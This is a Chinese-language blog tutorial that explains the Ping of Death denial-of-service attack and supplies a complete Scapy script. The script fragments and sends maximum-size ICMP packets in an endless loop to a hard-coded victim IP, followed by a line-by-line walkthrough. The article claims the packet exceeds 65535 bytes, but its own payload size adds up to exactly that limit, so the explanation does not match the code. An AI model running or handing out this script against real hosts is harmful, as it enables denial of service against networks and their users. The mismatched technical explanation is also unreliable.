首页 > 其他分享 >使用 Scapy 库编写 Ping of Death 攻击脚本

使用 Scapy 库编写 Ping of Death 攻击脚本

时间:2024-06-02 17:57:41浏览次数:24  
标签:__ Death target ip Scapy Ping interval ICMP 数据包

一、介绍

1.1 概述

Ping of Death(PoD)攻击是一种历史悠久的拒绝服务(DoS)攻击,攻击者通过发送特制的畸形ICMP Echo请求数据包,导致目标系统无法正确处理,从而导致系统崩溃、重启或无法响应正常请求。这种攻击利用了ICMP协议中的缺陷,在某些情况下可以绕过防火墙或其他安全措施。

1.2 攻击原理

  1. ICMP协议与Ping命令

    • ICMP(Internet Control Message Protocol)是用于传递控制信息的协议,Ping命令使用ICMP Echo请求和Echo应答消息来测试网络连通性。
  2. 数据包大小限制

    • 根据网络标准,单个IP数据包的最大有效负载(payload)大小为65535字节(包括IP头部)。正常的ICMP数据包大小通常不会超过这一限制。
  3. 畸形数据包

    • Ping of Death攻击通过构造一个大于65535字节的ICMP数据包,并将其分片发送。目标系统在重组这些分片数据包时会因超出其处理能力或软件缺陷而崩溃或重启。

1.3 攻击步骤

  1. 构造畸形ICMP数据包

    • 攻击者构造一个超大ICMP数据包,其大小超过65535字节,并将其分片发送。
  2. 发送畸形数据包

    • 由于IP分片机制,超大数据包会被分成多个较小的片段,分别发送到目标系统。
  3. 目标系统重组数据包

    • 目标系统在接收到所有片段后,会尝试重组这些片段形成原始的大数据包。
  4. 系统崩溃

    • 当目标系统尝试处理这个超大的ICMP数据包时,由于超出其处理能力或存在软件缺陷,系统可能会崩溃、重启或进入无响应状态。

二、实验环境

受害者:192.168.1.128

三、实操演示

构造脚本

from scapy.all import *
import time

from scapy.layers.inet import fragment, ICMP


def ping_of_death(target_ip, interval=1):
    payload = b"A" * 65507  # 65507 字节的有效负载
    packet = IP(dst=target_ip)/ICMP()/payload

    while True:
        fragments = fragment(packet)
        send(fragments)
        time.sleep(interval)  # 等待指定的时间间隔再发送下一个数据包


if __name__ == "__main__":
    target_ip = "192.168.1.128"  # 目标系统的IP地址
    interval = 1  # 每个数据包之间的间隔时间(秒)
    try:
        ping_of_death(target_ip, interval)
    except KeyboardInterrupt:
        print("\n攻击停止")

3.1 脚本解释

  1. 导入必要的模块

    • from scapy.all import *:导入Scapy库。
    • import time:导入time模块,用于实现发送数据包之间的延迟。
  2. 定义ping_of_death函数

    • ping_of_death(target_ip, interval=1):定义一个函数用于执行Ping of Death攻击,target_ip是目标系统的IP地址,interval是每次发送数据包之间的间隔时间(默认为1秒)。
  3. 构造超大ICMP数据包

    • payload = b"A" * 65507:构造一个65507字节的有效负载。
    • packet = IP(dst=target_ip)/ICMP()/payload:构造ICMP Echo请求数据包。
  4. 循环发送数据包

    • while True::无限循环,持续发送数据包。
    • fragments = fragment(packet):将大数据包分片。
    • send(fragments):发送分片数据包。
    • time.sleep(interval):每次发送数据包后等待指定的时间间隔。
  5. 脚本入口

    • if __name__ == "__main__"::脚本入口,设置目标IP地址和发送间隔时间。
    • try: ping_of_death(target_ip, interval):启动攻击函数。
    • except KeyboardInterrupt: print("\n攻击停止"):捕捉键盘中断信号(Ctrl+C),以便优雅地停止攻击。

受害者视角:

3.2 注意事项

  • 合法性和道德规范

    • 确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行。
  • 网络隔离

    • 确保实验网络与生产网络隔离,避免对实际业务造成影响。
  • 监控与恢复

    • 实验过程中实时监控网络和系统状态,实验结束后立即停止攻击工具,并确保系统恢复正常。

标签:__,Death,target,ip,Scapy,Ping,interval,ICMP,数据包
From: https://blog.csdn.net/2302_82189125/article/details/139292805

相关文章

  • @RequestMapping注解有哪些属性?
    在SpringFramework中,@RequestMapping注解用于将HTTP请求映射到MVC和REST控制器的处理方法上。它是SpringMVC中最基本的注解之一,可以应用在类级别或方法级别。@RequestMapping注解拥有多个属性,以下是其中的一些常用属性及其解释:value/path:类型:String[]描......
  • 使用 Scapy 库编写 IP 地址欺骗攻击脚本
    一、介绍1.1概述IP地址欺骗(IPSpoofing)是一种网络攻击技术,攻击者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种攻击中,例如DDoS攻击、Man-in-the-Middle(MITM)攻击和拒绝服务(DoS)攻击等。1.2攻击原理IP地址欺骗的核心在于攻击者能够创建带......
  • python的scapy解读pcap包
    好的,下面是一个使用Python和scapy库来解读pcap文件的示例代码。scapy是一个非常强大的网络数据包处理库,可以用来捕获、解读和生成网络数据包。首先,确保你已经安装了scapy:pipinstallscapy然后,创建一个Python文件(例如read_pcap.py),在其中编写以下代码:fromsc......
  • SpringMVC:@RequestMapping注解
    1.@RequestMapping作用@RequestMapping`注解是SpringMVC框架中的一个控制器映射注解,用于将请求映射到相应的处理方法上。具体来说,它可以将指定URL的请求绑定到一个特定的方法或类上,从而实现对请求的处理和响应。2. 出现位置的区别出现在类上//@RequestMapping注......
  • bootstrapping
    在这段RMarkdown代码中,代表bootstrapping思想的代码片段是以下几段:这部分代码使用bootstrapping方法来估计活性(Active)和抑制(Repressed)状态下ave列的中位数:active_med<-c()repress_med<-c()for(repin1:100){active_sample<-sample(active_rep$ave,size=leng......
  • 『vulnhub系列』Deathnote-1
    『vulnhub系列』Deathnote-1下载地址:https://www.vulnhub.com/entry/deathnote-1,739/信息搜集:使用nmap扫描存活主机,发现主机开启了22端口和80端口nmap192.168.0.*访问80端口的web服务,发现apache默认页面使用dirsearch进行目录扫描dirsearch-u"http://192.168.0.1......
  • 【Spring】SpringMVC中@RequestMapping 详解
    1、简介在SpringMVC中,@RequestMapping是一个非常重要的注解,它用于映射web请求(如HTTP请求)到特定的处理器方法或处理器类。2、基本用法@RequestMapping可以标注在方法或类上。当标注在类上时,它提供了初步的请求映射信息,如请求路径的前缀。当标注在方法上时,它提供了具体的......
  • HPING是一款网络工具,它是自由开源的,并且在网络安全领域被广泛使用。HPING最初是作为一
    HPING是一款网络工具,它是自由开源的,并且在网络安全领域被广泛使用。HPING最初是作为一个可编程和可定制的网络封包生成器和分析器而设计的,可以用于网络探测、扫描和攻击。HPING具有以下特点和功能:灵活性:HPING提供了很多选项和参数,可以自定义和控制生成的网络封包的各个方面,如......
  • stream( ).collect ( Collectors.groupingBy ( ) ) 的用法
    文章目录第一种解释1、基本用法2、指定值收集器3、多级分组4、常见应用场景和用处第二种解释1、基本语法2、示例3、更复杂的用法第一种解释Collectors.groupingBy是Java8引入的StreamAPI中的一个收集器(Collector),它用于将流(Stream)中的元素根据某个分类函数......
  • hping 一键开始简单的DOS攻击(KALI工具系列四)
    目录1、KALILINUX简介2、hping工具简介  3、在KALI中使用hping3.1目标主机IP(win)3.2KALI的IP  4、命令示例4.1指定端口发送TCP文件4.2端口连续性ping4.3 用ICMP去ping4.4用ACK去ping该ip4.5用UDP去ping该ip5、操作实例5.1SYN洪水攻击5.2ICMP洪水攻......